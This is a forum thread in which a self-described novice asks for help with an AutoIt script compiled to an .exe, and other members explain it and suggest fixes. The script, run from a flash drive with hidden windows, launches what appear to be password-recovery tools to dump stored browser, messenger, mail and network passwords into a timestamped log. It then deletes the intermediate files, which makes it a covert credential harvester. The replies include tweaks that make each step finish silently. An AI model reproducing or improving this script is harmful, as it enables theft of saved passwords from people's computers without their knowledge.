Jump to content

compiling script to .exe


Recommended Posts

so i posted previously listing some errors i received when i converted a script (that i didn't write) to an .exe

thanks to the help of the people who replied, i don't get errors anymore and it creates the application without problem.

however, it is supposed to create a text file and i....can't find it? i'm a noob...lol

i put all five applications (the scripted one and the four the script refers to) on a 1 GB flash drive

when i run the script application, the icon appears in my system tray for about 5 seconds then disappears, definitely not leaving a text file in its wake.

heres the code, but can someone tell me where the .txt file is supposed to be created and what i'm doing wrong?

Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext ..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)

Sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\IM.exe /stext ..\Password\NewIM.txt"', @ScriptDir, @SW_HIDE)

Sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\Mail.exe /stext ..\Password\New\Mail.txt"', @ScriptDir, @SW_HIDE)

Sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\Network.exe /stext ..\Password\New\Network.txt"', @ScriptDir, @SW_HIDE)

Sleep(1000)

Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt ..\Password\New\all.txt"', @ScriptDir, @SW_HIDE)

Sleep(1000)

Dim $DateTime, $Location, $FileName

$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC

$Location = @WorkingDir & '\new\'

$FileName = "all.txt"

FileMove($Location & $FileName, $Location & $DateTime & ".log", 1)

Sleep(2000)

Run(@ComSpec & ' /k "del ..\Password\New\*.txt"', @ScriptDir, @SW_HIDE)

Sleep(1000)

Link to comment
Share on other sites

It copies the text from any .txt files in New folder to all.txt file then renames the all.txt file to Date-Time.log

It's creating a log file with the current date and time as the name in ..\Password\New\

eg:

..\Password\New\2007-06-15 14-25-51.log

It deletes any .txt files in the new folder when it's done, so it leaves just the newly named log file.

This probly why your not finding a .txt file after you run it.

The script is directory specific.. in other words if the paths aren't correct then it will fail.

Cheers

Edited by smashly
Link to comment
Share on other sites

  • Developers

the 5 secs looks about correct .

Run() doesn't wait for the shelled windows to close and continues on with the script.

You should not use "CMD /K" and hide (@SW_HIDE) the shelled application, this means you will leave a hidden session of cmd.

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

  • Developers

so what should i change so it doesn't fail?

Don't know what needs to be change since I cannot test, but you could start to do some debugging by changing your Run() statements.

If you want to wait for each command to complete they will need to be changed to RunWait()

If you want to see what is happening and you change it to:

RunWait(@ComSpec & ' /k "..\Password\Software\IM.exe /stext ..\Password\NewIM.txt"', @ScriptDir)

If to run each command one at the time and let it continue then change it to:

RunWait(@ComSpec & ' /c "..\Password\Software\IM.exe /stext ..\Password\NewIM.txt"', @ScriptDir)

If to run each command one at the time and let it continue without a CMD window popping up then change it to:

RunWait(@ComSpec & ' /c "..\Password\Software\IM.exe /stext ..\Password\NewIM.txt"', @ScriptDir, @SW_HIDE)

Edited by JdeB

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...